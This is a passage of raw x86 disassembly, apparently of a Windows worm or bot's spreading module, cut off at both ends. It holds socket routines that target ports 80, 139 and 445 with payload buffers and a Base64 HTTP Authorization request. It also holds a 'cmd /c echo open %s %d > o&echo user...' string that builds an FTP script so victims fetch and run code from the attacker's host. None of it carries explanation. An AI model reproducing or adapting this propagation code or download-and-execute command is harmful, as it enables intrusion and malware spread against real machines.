T I N E ======================================= ; Attributes: bp-based frame sub_40C736 proc near ; CODE XREF: sub_40C7FA+A1p ; sub_40C7FA+C2p ... var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push esi push edi mov esi, [ebp+arg_0] push 1 pop edi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_210] and [ebp+var_4], 0 push eax lea eax, [ebp+var_10C] push 0 push eax lea eax, [esi+1] push eax mov [ebp+var_108], esi mov [ebp+var_10C], edi mov [ebp+var_20C], esi mov [ebp+var_210], edi mov [ebp+var_8], 0Ah call dword_4F1514 ; select cmp eax, edi jnz short loc_40C79D lea eax, [ebp+var_10C] push eax push esi call sub_435832 ; __WSAFDIsSet test eax, eax jnz short loc_40C7A1 loc_40C79D: ; CODE XREF: sub_40C736+54j xor eax, eax jmp short loc_40C7B1 ; --------------------------------------------------------------------------- loc_40C7A1: ; CODE XREF: sub_40C736+65j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call dword_4E08B8 loc_40C7B1: ; CODE XREF: sub_40C736+69j pop edi pop esi leave retn sub_40C736 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C7B5 proc near ; CODE XREF: sub_40C7FA+81p ; sub_40C7FA+ABp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] call dword_4E089C mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push 4 push eax push [ebp+arg_0] call dword_4E08EC cmp eax, 4 jz short loc_40C7DF xor al, al leave retn ; --------------------------------------------------------------------------- loc_40C7DF: ; CODE XREF: sub_40C7B5+24j push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_4E08EC sub eax, [ebp+arg_8] neg eax sbb eax, eax inc eax leave retn sub_40C7B5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C7FA proc near ; CODE XREF: sub_40C8D4+48p ; .nsp0:0040CD0Cp var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 104h push ebx push esi push edi mov edi, [ebp+arg_8] lea ebx, [edi+41h] push ebx mov [ebp+var_4], ebx call sub_418ED0 mov esi, eax pop ecx test esi, esi jnz short loc_40C823 xor al, al jmp loc_40C8CF ; --------------------------------------------------------------------------- loc_40C823: ; CODE XREF: sub_40C7FA+20j push ebx push 0 push esi call sub_41B190 push 2Fh push offset dword_449C70 push esi call near ptr sub_41C8D0 push 8 lea eax, [esi+31h] push offset dword_449CA0 push eax mov [esi+2Fh], di call near ptr sub_41C8D0 push edi lea ebx, [esi+3Bh] push [ebp+arg_4] mov [esi+39h], di push ebx call near ptr sub_41C8D0 push 6 add ebx, edi push offset dword_4E35CC push ebx call near ptr sub_41C8D0 mov ebx, [ebp+arg_0] push 85h push offset dword_449BE8 push ebx call sub_40C7B5 add esp, 48h test al, al jnz short loc_40C88B loc_40C887: ; CODE XREF: sub_40C7FA+B5j xor bl, bl jmp short loc_40C8C6 ; --------------------------------------------------------------------------- loc_40C88B: ; CODE XREF: sub_40C7FA+8Bj mov edi, 100h push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_40C736 push [ebp+var_4] push esi push ebx call sub_40C7B5 add esp, 1Ch test al, al jz short loc_40C887 push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_40C736 add esp, 10h mov bl, 1 loc_40C8C6: ; CODE XREF: sub_40C7FA+8Fj push esi call sub_419940 pop ecx mov al, bl loc_40C8CF: ; CODE XREF: sub_40C7FA+24j pop edi pop esi pop ebx leave retn sub_40C7FA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C8D4 proc near ; CODE XREF: .nsp0:0040CCF2p var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push 0 push 48h push offset unk_449CAC push [ebp+arg_0] call dword_4F1510 ; send cmp eax, 48h jnz short loc_40C90F push 0 lea eax, [ebp+var_20] push 20h push eax push [ebp+arg_0] call sub_40C736 add esp, 10h cmp eax, 0FFFFFFFFh jz short loc_40C90F cmp [ebp+var_20], 82h jz short loc_40C913 loc_40C90F: ; CODE XREF: sub_40C8D4+1Bj ; sub_40C8D4+33j xor al, al leave retn ; --------------------------------------------------------------------------- loc_40C913: ; CODE XREF: sub_40C8D4+39j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40C7FA add esp, 0Ch leave retn sub_40C8D4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C926 proc near ; CODE XREF: sub_40C972+29p var_10 = qword ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] and dword ptr [ebp+var_8+4], 0 shl eax, 3 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] fmul dbl_437470 call sub_41CEBC and dword ptr [ebp+var_8+4], 0 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] push ecx push ecx ; double fst [ebp+var_8] fmul dbl_437468 fstp [esp+10h+var_10] call sub_41CCD0 fadd st, st pop ecx pop ecx fadd [ebp+var_8] call sub_41CEBC inc eax leave retn sub_40C926 endp ; =============== S U B R O U T I N E ======================================= sub_40C972 proc near ; CODE XREF: sub_40CAE9+23p var_40 = qword ptr -40h mov eax, offset loc_435FCF call sub_41D500 sub esp, 2Ch push esi lea eax, [ebp-0Dh] push edi xor esi, esi push eax lea ecx, [ebp-38h] mov [ebp-20h], esi call sub_40CD78 push 1 pop edi push dword ptr [ebp+10h] mov [ebp-4], edi call sub_40C926 pop ecx push eax lea ecx, [ebp-38h] call sub_40CE8D cmp [ebp+10h], esi mov [ebp-18h], esi jbe loc_40CABD push ebx mov ebx, [ebp+10h] loc_40C9BA: ; CODE XREF: sub_40C972+144j cmp dword ptr [ebp+10h], 3 jb short loc_40C9C5 push 3 loc_40C9C2: ; CODE XREF: sub_40C972+5Bj pop ebx jmp short loc_40C9D6 ; --------------------------------------------------------------------------- loc_40C9C5: ; CODE XREF: sub_40C972+4Cj cmp dword ptr [ebp+10h], 2 jnz short loc_40C9CF push 2 jmp short loc_40C9C2 ; --------------------------------------------------------------------------- loc_40C9CF: ; CODE XREF: sub_40C972+57j cmp [ebp+10h], edi jnz short loc_40C9D6 mov ebx, edi loc_40C9D6: ; CODE XREF: sub_40C972+51j ; sub_40C972+60j and dword ptr [ebp-24h], 0 mov [ebp-28h], ebx fild qword ptr [ebp-28h] push ecx push ecx ; double fmul dbl_437478 fstp [esp+40h+var_40] call sub_41CEF0 pop ecx pop ecx call sub_41CEBC test ebx, ebx mov [ebp-1Ch], eax jbe short loc_40CA17 mov esi, [ebp+0Ch] mov ecx, ebx mov edx, ecx lea edi, [ebp-10h] shr ecx, 2 rep movsd mov ecx, edx push 1 and ecx, 3 rep movsb pop edi loc_40CA17: ; CODE XREF: sub_40C972+8Aj mov cl, [ebp-10h] mov dl, [ebp-10h] sar cl, 2 and cl, 3Fh and dl, 3 mov [ebp-14h], cl mov cl, [ebp-0Fh] sar cl, 4 and cl, 0Fh add [ebp+0Ch], ebx shl dl, 4 add cl, dl mov dl, [ebp-0Fh] mov [ebp-13h], cl mov cl, [ebp-0Eh] sar cl, 6 and dl, 0Fh sub [ebp+10h], ebx and cl, 3 xor esi, esi shl dl, 2 add cl, dl mov [ebp-12h], cl mov cl, [ebp-0Eh] and cl, 3Fh test eax, eax mov [ebp-11h], cl jbe short loc_40CA84 add [ebp-18h], eax loc_40CA69: ; CODE XREF: sub_40C972+110j movsx eax, byte ptr [ebp+esi-14h] lea ecx, [ebp-38h] mov al, byte_449CF8[eax] push eax push edi call sub_40CE0D inc esi cmp esi, [ebp-1Ch] jb short loc_40CA69 loc_40CA84: ; CODE XREF: sub_40C972+F2j cmp dword ptr [ebp-18h], 48h jb short loc_40CA99 push dword ptr [ebp+14h] lea ecx, [ebp-38h] call sub_40CDE5 and dword ptr [ebp-18h], 0 loc_40CA99: ; CODE XREF: sub_40C972+116j push 4 pop esi cmp [ebp-1Ch], esi jnb short loc_40CAB2 sub esi, [ebp-1Ch] loc_40CAA4: ; CODE XREF: sub_40C972+13Ej push 3Dh push edi lea ecx, [ebp-38h] call sub_40CE0D dec esi jnz short loc_40CAA4 loc_40CAB2: ; CODE XREF: sub_40C972+12Dj cmp dword ptr [ebp+10h], 0 ja loc_40C9BA pop ebx loc_40CABD: ; CODE XREF: sub_40C972+3Ej mov ecx, [ebp+8] lea eax, [ebp-38h] push eax call sub_40CD90 mov [ebp-20h], edi and byte ptr [ebp-4], 0 lea ecx, [ebp-38h] call sub_40CDDD mov ecx, [ebp-0Ch] mov eax, [ebp+8] pop edi pop esi mov large fs:0, ecx leave retn sub_40C972 endp ; =============== S U B R O U T I N E ======================================= sub_40CAE9 proc near ; CODE XREF: .nsp0:0040CCD5p mov eax, offset loc_435FE9 call sub_41D500 sub esp, 10h push ebx push esi push edi push offset dword_4E35D8 and dword ptr [ebp-4], 0 push dword ptr [ebp+10h] lea eax, [ebp-1Ch] push dword ptr [ebp+0Ch] push eax call sub_40C972 add esp, 10h lea ecx, [ebp-1Ch] mov byte ptr [ebp-4], 1 call sub_40CE89 lea ecx, [ebp+14h] mov esi, eax call sub_40CE89 lea esi, [esi+eax+36h] push esi call sub_418ED0 mov edi, eax pop ecx test edi, edi jnz short loc_40CB3F xor bl, bl jmp short loc_40CB7E ; --------------------------------------------------------------------------- loc_40CB3F: ; CODE XREF: sub_40CAE9+50j lea ecx, [ebp-1Ch] call sub_40CE7C push eax lea ecx, [ebp+14h] call sub_40CE7C push eax push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"... push esi push edi call sub_41B910 add esp, 14h push 0 push esi push edi push dword ptr [ebp+8] call dword_4E08EC cmp eax, esi jz short loc_40CB75 xor bl, bl jmp short loc_40CB77 ; --------------------------------------------------------------------------- loc_40CB75: ; CODE XREF: sub_40CAE9+86j mov bl, 1 loc_40CB77: ; CODE XREF: sub_40CAE9+8Aj push edi call sub_419940 pop ecx loc_40CB7E: ; CODE XREF: sub_40CAE9+54j and byte ptr [ebp-4], 0 lea ecx, [ebp-1Ch] call sub_40CDDD or dword ptr [ebp-4], 0FFFFFFFFh lea ecx, [ebp+14h] call sub_40CDDD mov ecx, [ebp-0Ch] pop edi mov al, bl pop esi pop ebx mov large fs:0, ecx leave retn sub_40CAE9 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 428h and byte ptr [ebp-428h], 0 push ebx push esi push edi mov ecx, 0FFh xor eax, eax lea edi, [ebp-427h] push 8Fh rep stosd stosw stosb lea eax, [ebp-428h] push offset sub_449EA4 push eax call near ptr sub_41C8D0 add esp, 0Ch mov eax, offset byte_43A0E8 push eax push eax movzx eax, word ptr dword_4E05C8 push eax push dword ptr [ebp+8] call sub_40A019 pop ecx push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "... lea eax, [ebp-399h] push 400h push eax call sub_41B910 add eax, 90h push eax lea eax, [ebp-428h] push eax push 164h lea eax, [ebp-28h] push offset sub_449D3C push eax call sub_40C3D0 mov ecx, [eax] xor ebx, ebx mov [ebp-8], ecx add esp, 30h mov eax, [eax+4] cmp eax, ebx mov [ebp-4], eax jnz short loc_40CC4F xor eax, eax jmp loc_40CD5D ; --------------------------------------------------------------------------- loc_40CC4F: ; CODE XREF: .nsp0:0040CC46j mov [ebp-0Ch], ebx loc_40CC52: ; CODE XREF: .nsp0:0040CD34j test ebx, ebx jnz loc_40CD3A push 6 push 1 push 2 call dword_4F150C ; socket mov esi, eax cmp esi, 0FFFFFFFFh jz loc_40CD22 xor eax, eax lea edi, [ebp-1Eh] stosd push dword ptr [ebp+0A8h] stosd stosd stosw mov word ptr [ebp-20h], 2 call dword_4E08A0 mov [ebp-1Eh], ax lea eax, [ebp+0Ch] push eax call dword_4E08DC mov [ebp-1Ch], eax lea eax, [ebp-20h] push 10h push eax push esi call dword_4E084C cmp eax, 0FFFFFFFFh jz short loc_40CD17 cmp dword ptr [ebp+0A8h], 50h jnz short loc_40CCDF sub esp, 10h lea eax, [ebp-0Dh] mov ecx, esp mov [ebp-24h], esp push eax lea eax, [ebp+0Ch] push eax call sub_40CDBA push dword ptr [ebp-4] push dword ptr [ebp-8] push esi call sub_40CAE9 add esp, 1Ch jmp short loc_40CD14 ; --------------------------------------------------------------------------- loc_40CCDF: ; CODE XREF: .nsp0:0040CCB7j cmp dword ptr [ebp+0A8h], 8Bh jnz short loc_40CCF9 push dword ptr [ebp-4] push dword ptr [ebp-8] push esi call sub_40C8D4 jmp short loc_40CD11 ; --------------------------------------------------------------------------- loc_40CCF9: ; CODE XREF: .nsp0:0040CCE9j cmp dword ptr [ebp+0A8h], 1BDh jnz short loc_40CD17 push dword ptr [ebp-4] push dword ptr [ebp-8] push esi call sub_40C7FA loc_40CD11: ; CODE XREF: .nsp0:0040CCF7j add esp, 0Ch loc_40CD14: ; CODE XREF: .nsp0:0040CCDDj movzx ebx, al loc_40CD17: ; CODE XREF: .nsp0:0040CCAEj ; .nsp0:0040CD03j push esi call dword_4E0934 test ebx, ebx jnz short loc_40CD2D loc_40CD22: ; CODE XREF: .nsp0:0040CC6Bj push 3E8h call dword_4F1334 ; Sleep loc_40CD2D: ; CODE XREF: .nsp0:0040CD20j inc dword ptr [ebp-0Ch] cmp dword ptr [ebp-0Ch], 2 jl loc_40CC52 loc_40CD3A: ; CODE XREF: .nsp0:0040CC54j lea ecx, [ebp-8] call sub_40C1F5 test ebx, ebx jz short loc_40CD5B mov eax, [ebp+0B0h] shl eax, 6 inc dword_4492B0[eax] lea eax, dword_4492B0[eax] loc_40CD5B: ; CODE XREF: .nsp0:0040CD44j mov eax, ebx loc_40CD5D: ; CODE XREF: .nsp0:0040CC4Aj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40CD62: ; DATA XREF: .nsp0:0043A008o call sub_40D359 jmp $+5 push offset nullsub_1 call sub_41D9F0 pop ecx retn ; =============== S U B R O U T I N E ======================================= sub_40CD78 proc near ; CODE XREF: sub_40C972+1Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov al, [eax] mov [esi], al call sub_40D0FA mov eax, esi pop esi retn 4 sub_40CD78 endp ; =============== S U B R O U T I N E ======================================= sub_40CD90 proc near ; CODE XREF: sub_40C972+152p ; sub_4353B0+3Cp ... arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx push 0 mov al, [edi] mov [esi], al call sub_40D0FA push dword_437480 mov ecx, esi push 0 push edi call sub_40CF0B mov eax, esi pop edi pop esi retn 4 sub_40CD90 endp ; =============== S U B R O U T I N E ======================================= sub_40CDBA proc near ; CODE XREF: .nsp0:0040CCC9p ; sub_435350+27p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, ecx push 0 mov al, [eax] mov [esi], al call sub_40D0FA push [esp+4+arg_0] mov ecx, esi call sub_40D001 mov eax, esi pop esi retn 8 sub_40CDBA endp ; =============== S U B R O U T I N E ======================================= sub_40CDDD proc near ; CODE XREF: sub_40C972+161p ; sub_40CAE9+9Cp ... push 1 call sub_40D0FA retn sub_40CDDD endp ; =============== S U B R O U T I N E ======================================= sub_40CDE5 proc near ; CODE XREF: sub_40C972+11Ep arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_40CE02 pop ecx push eax mov ecx, esi push [esp+8+arg_0] call sub_40CEA1 pop esi retn 4 sub_40CDE5 endp ; =============== S U B R O U T I N E ======================================= sub_40CE02 proc near ; CODE XREF: sub_40CDE5+7p ; sub_40D001+7p arg_0 = dword ptr 4 push [esp+arg_0] call sub_418D00 pop ecx retn sub_40CE02 endp ; =============== S U B R O U T I N E ======================================= sub_40CE0D proc near ; CODE XREF: sub_40C972+107p ; sub_40C972+138p arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, dword_437480 push ebx mov ebx, [esp+4+arg_0] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40CE27 call sub_435350 loc_40CE27: ; CODE XREF: sub_40CE0D+13j test ebx, ebx jbe short loc_40CE5B mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_40D04E test al, al jz short loc_40CE5B lea eax, [esp+0Ch+arg_4] push eax mov eax, [esi+4] add eax, [esi+8] push ebx push eax call sub_40CE63 add esp, 0Ch mov ecx, esi push edi call sub_40D01E loc_40CE5B: ; CODE XREF: sub_40CE0D+1Cj ; sub_40CE0D+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_40CE0D endp ; =============== S U B R O U T I N E ======================================= sub_40CE63 proc near ; CODE XREF: sub_40CE0D+3Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] push [esp+arg_4] movsx eax, byte ptr [eax] push eax push [esp+8+arg_0] call sub_41B190 add esp, 0Ch retn sub_40CE63 endp ; =============== S U B R O U T I N E ======================================= sub_40CE7C proc near ; CODE XREF: sub_40CAE9+59p ; sub_40CAE9+62p ... mov eax, [ecx+4] test eax, eax jnz short locret_40CE88 call sub_40D0F4 locret_40CE88: ; CODE XREF: sub_40CE7C+5j retn sub_40CE7C endp ; =============== S U B R O U T I N E ======================================= sub_40CE89 proc near ; CODE XREF: sub_40CAE9+32p ; sub_40CAE9+3Cp mov eax, [ecx+8] retn sub_40CE89 endp ; =============== S U B R O U T I N E ======================================= sub_40CE8D proc near ; CODE XREF: sub_40C972+33p arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp [ecx+0Ch], eax jnb short locret_40CE9E push 0 push eax call sub_40D04E locret_40CE9E: ; CODE XREF: sub_40CE8D+7j retn 4 sub_40CE8D endp ; =============== S U B R O U T I N E ======================================= sub_40CEA1 proc near ; CODE XREF: sub_40CDE5+14p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, dword_437480 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40CEBB call sub_435350 loc_40CEBB: ; CODE XREF: sub_40CEA1+13j test ebx, ebx jbe short loc_40CEEE mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_40D04E test al, al jz short loc_40CEEE mov eax, [esi+4] push ebx push [esp+10h+arg_0] add eax, [esi+8] push eax call sub_40CEF6 add esp, 0Ch mov ecx, esi push edi call sub_40D01E loc_40CEEE: ; CODE XREF: sub_40CEA1+1Cj ; sub_40CEA1+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_40CEA1 endp ; =============== S U B R O U T I N E ======================================= sub_40CEF6 proc near ; CODE XREF: sub_40CEA1+3Dp ; sub_40CF0B+D9p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_8] push [esp+4+arg_4] push [esp+8+arg_0] call near ptr sub_41C8D0 add esp, 0Ch retn sub_40CEF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CF0B proc near ; CODE XREF: sub_40CD90+1Ep arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_0] push esi mov esi, ecx push edi mov ecx, ebx call sub_40CFFD cmp eax, [ebp+arg_4] jnb short loc_40CF27 call sub_435650 loc_40CF27: ; CODE XREF: sub_40CF0B+15j mov ecx, ebx call sub_40CFFD mov edi, eax mov eax, [ebp+arg_4] sub edi, eax cmp [ebp+arg_8], edi jnb short loc_40CF3D mov edi, [ebp+arg_8] loc_40CF3D: ; CODE XREF: sub_40CF0B+2Dj cmp esi, ebx jnz short loc_40CF62 push dword_437480 add edi, eax mov ecx, esi push edi call sub_40D18A push [ebp+arg_4] mov ecx, esi push 0 call sub_40D18A jmp loc_40CFF4 ; --------------------------------------------------------------------------- loc_40CF62: ; CODE XREF: sub_40CF0B+34j test edi, edi jbe short loc_40CFC7 mov ecx, ebx call sub_40CFFD cmp edi, eax jnz short loc_40CFC7 mov ecx, ebx call sub_40CE7C push eax mov ecx, esi call sub_40D2DF cmp byte ptr [eax], 0FEh jnb short loc_40CFC7 push ebx push esi call sub_40D344 pop ecx test al, al pop ecx jz short loc_40CFC7 push 1 mov ecx, esi call sub_40D0FA mov ecx, ebx call sub_40CE7C mov ecx, ebx mov [esi+4], eax call sub_40CFFD mov ecx, ebx mov [esi+8], eax call sub_40D216 push dword ptr [esi+4] mov ecx, esi mov [esi+0Ch], eax call sub_40D2DF inc byte ptr [eax] jmp short loc_40CFF4 ; --------------------------------------------------------------------------- loc_40CFC7: ; CODE XREF: sub_40CF0B+59j ; sub_40CF0B+64j ... push 1 push edi mov ecx, esi call sub_40D04E test al, al jz short loc_40CFF4 push edi mov ecx, ebx call sub_40CE7C add eax, [ebp+arg_4] push eax push dword ptr [esi+4] call sub_40CEF6 add esp, 0Ch mov ecx, esi push edi call sub_40D01E loc_40CFF4: ; CODE XREF: sub_40CF0B+52j ; sub_40CF0B+BAj ... mov eax, esi pop edi pop esi pop ebx pop ebp retn 0Ch sub_40CF0B endp ; =============== S U B R O U T I N E ======================================= sub_40CFFD proc near ; CODE XREF: sub_40CF0B+Dp ; sub_40CF0B+1Ep ... mov eax, [ecx+8] retn sub_40CFFD endp ; =============== S U B R O U T I N E ======================================= sub_40D001 proc near ; CODE XREF: sub_40CDBA+18p ; sub_40D2F4+34p arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_40CE02 pop ecx push eax mov ecx, esi push [esp+8+arg_0] call sub_40D154 pop esi retn 4 sub_40D001 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D01E proc near ; CODE XREF: sub_40CE0D+49p ; sub_40CEA1+48p ... var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] and [ebp+var_1], 0 mov [ecx+8], eax mov ecx, [ecx+4] lea edx, [ebp+var_1] add ecx, eax push edx push ecx call sub_40D041 pop ecx pop ecx leave retn 4 sub_40D01E endp ; =============== S U B R O U T I N E ======================================= sub_40D041 proc near ; CODE XREF: sub_40D01E+18p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] mov al, [eax] mov [ecx], al retn sub_40D041 endp ; =============== S U B R O U T I N E ======================================= sub_40D04E proc near ; CODE XREF: sub_40CE0D+28p ; sub_40CE8D+Cp ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 push ebx push esi push edi mov esi, ecx call sub_40D204 mov edi, [esp+0Ch+arg_0] cmp eax, edi jnb short loc_40D065 call sub_435350 loc_40D065: ; CODE XREF: sub_40D04E+10j mov eax, [esi+4] xor ebx, ebx cmp eax, ebx jz short loc_40D0A5 push eax mov ecx, esi call sub_40D2DF cmp [eax], bl jz short loc_40D0A5 push dword ptr [esi+4] mov ecx, esi call sub_40D2DF cmp byte ptr [eax], 0FFh jz short loc_40D0A5 cmp edi, ebx jnz short loc_40D0E4 push dword ptr [esi+4] mov ecx, esi call sub_40D2DF dec byte ptr [eax] push ebx loc_40D09A: ; CODE XREF: sub_40D04E+63j mov ecx, esi call sub_40D0FA loc_40D0A1: ; CODE XREF: sub_40D04E+68j ; sub_40D04E+72j xor al, al jmp short loc_40D0EE ; --------------------------------------------------------------------------- loc_40D0A5: ; CODE XREF: sub_40D04E+1Ej ; sub_40D04E+2Aj ... cmp edi, ebx jnz short loc_40D0C2 cmp [esp+0Ch+arg_4], bl jz short loc_40D0B3 push 1 jmp short loc_40D09A ; --------------------------------------------------------------------------- loc_40D0B3: ; CODE XREF: sub_40D04E+5Fj cmp [esi+4], ebx jz short loc_40D0A1 push ebx mov ecx, esi call sub_40D01E jmp short loc_40D0A1 ; --------------------------------------------------------------------------- loc_40D0C2: ; CODE XREF: sub_40D04E+59j cmp [esp+0Ch+arg_4], bl jz short loc_40D0DF mov eax, [esi+0Ch] cmp eax, 1Fh ja short loc_40D0D4 cmp eax, edi jnb short loc_40D0EC loc_40D0D4: ; CODE XREF: sub_40D04E+80j push 1 mov ecx, esi call sub_40D0FA jmp short loc_40D0E4 ; --------------------------------------------------------------------------- loc_40D0DF: ; CODE XREF: sub_40D04E+78j cmp [esi+0Ch], edi jnb short loc_40D0EC loc_40D0E4: ; CODE XREF: sub_40D04E+3Dj ; sub_40D04E+8Fj push edi mov ecx, esi call sub_40D21A loc_40D0EC: ; CODE XREF: sub_40D04E+84j ; sub_40D04E+94j mov al, 1 loc_40D0EE: ; CODE XREF: sub_40D04E+55j pop edi pop esi pop ebx retn 8 sub_40D04E endp ; =============== S U B R O U T I N E ======================================= sub_40D0F4 proc near ; CODE XREF: sub_40CE7C+7p mov eax, offset dword_437484 retn sub_40D0F4 endp ; =============== S U B R O U T I N E ======================================= sub_40D0FA proc near ; CODE XREF: sub_40CD78+Dp ; sub_40CD90+Ep ... arg_0 = byte ptr 4 push ebx xor ebx, ebx cmp [esp+4+arg_0], bl push esi mov esi, ecx jz short loc_40D146 mov eax, [esi+4] cmp eax, ebx jz short loc_40D146 push eax call sub_40D2DF cmp [eax], bl jz short loc_40D134 push dword ptr [esi+4] mov ecx, esi call sub_40D2DF cmp byte ptr [eax], 0FFh jz short loc_40D134 push dword ptr [esi+4] mov ecx, esi call sub_40D2DF dec byte ptr [eax] jmp short loc_40D146 ; --------------------------------------------------------------------------- loc_40D134: ; CODE XREF: sub_40D0FA+1Bj ; sub_40D0FA+2Aj mov eax, [esi+0Ch] mov ecx, esi inc eax inc eax push eax mov eax, [esi+4] dec eax push eax call sub_40D2E7 loc_40D146: ; CODE XREF: sub_40D0FA+Aj ; sub_40D0FA+11j ... mov [esi+4], ebx mov [esi+8], ebx mov [esi+0Ch], ebx pop esi pop ebx retn 4 sub_40D0FA endp ; =============== S U B R O U T I N E ======================================= sub_40D154 proc near ; CODE XREF: sub_40D001+14p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 push [esp+8+arg_4] mov esi, ecx call sub_40D04E test al, al jz short loc_40D184 push [esp+4+arg_4] push [esp+8+arg_0] push dword ptr [esi+4] call sub_40CEF6 add esp, 0Ch mov ecx, esi push [esp+4+arg_4] call sub_40D01E loc_40D184: ; CODE XREF: sub_40D154+10j mov eax, esi pop esi retn 8 sub_40D154 endp ; =============== S U B R O U T I N E ======================================= sub_40D18A proc near ; CODE XREF: sub_40CF0B+41p ; sub_40CF0B+4Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] push edi mov edi, ecx cmp [edi+8], esi jnb short loc_40D19D call sub_435650 loc_40D19D: ; CODE XREF: sub_40D18A+Cj mov ecx, edi call sub_40D2F4 mov eax, [edi+8] mov ebx, [esp+0Ch+arg_4] sub eax, esi cmp eax, ebx jnb short loc_40D1B3 mov ebx, eax loc_40D1B3: ; CODE XREF: sub_40D18A+25j test ebx, ebx jbe short loc_40D1E7 mov ecx, [edi+4] sub eax, ebx add ecx, esi push eax lea eax, [ecx+ebx] push eax push ecx call sub_40D1EF mov esi, [edi+8] add esp, 0Ch sub esi, ebx mov ecx, edi push 0 push esi call sub_40D04E test al, al jz short loc_40D1E7 push esi mov ecx, edi call sub_40D01E loc_40D1E7: ; CODE XREF: sub_40D18A+2Bj ; sub_40D18A+53j mov eax, edi pop edi pop esi pop ebx retn 8 sub_40D18A endp ; =============== S U B R O U T I N E ======================================= sub_40D1EF proc near ; CODE XREF: sub_40D18A+3Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_8] push [esp+4+arg_4] push [esp+8+arg_0] call sub_41D520 add esp, 0Ch retn sub_40D1EF endp ; =============== S U B R O U T I N E ======================================= sub_40D204 proc near ; CODE XREF: sub_40D04E+5p ; sub_40D21A+1Ep call sub_40D340 cmp eax, 2 ja short loc_40D212 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_40D212: ; CODE XREF: sub_40D204+8j add eax, 0FFFFFFFEh retn sub_40D204 endp ; =============== S U B R O U T I N E ======================================= sub_40D216 proc near ; CODE XREF: sub_40CF0B+A6p mov eax, [ecx+0Ch] retn sub_40D216 endp ; =============== S U B R O U T I N E ======================================= sub_40D21A proc near ; CODE XREF: sub_40D04E+99p mov eax, offset loc_435FF4 call sub_41D500 sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+8] mov esi, ecx mov [ebp-10h], esp mov [ebp-14h], esi or edi, 1Fh call sub_40D204 cmp eax, edi jnb short loc_40D244 mov edi, [ebp+8] loc_40D244: ; CODE XREF: sub_40D21A+25j and dword ptr [ebp-4], 0 lea eax, [edi+2] push 0 push eax mov ecx, esi call sub_40D330 mov [ebp+8], eax jmp short loc_40D27D ; --------------------------------------------------------------------------- loc_40D25A: ; DATA XREF: .nsp0:0043927Co mov eax, [ebp+8] mov ecx, [ebp-14h] mov [ebp-18h], eax add eax, 2 push 0 push eax call sub_40D330 mov [ebp+8], eax mov eax, offset loc_40D277 retn ; --------------------------------------------------------------------------- loc_40D277: ; DATA XREF: sub_40D21A+57o 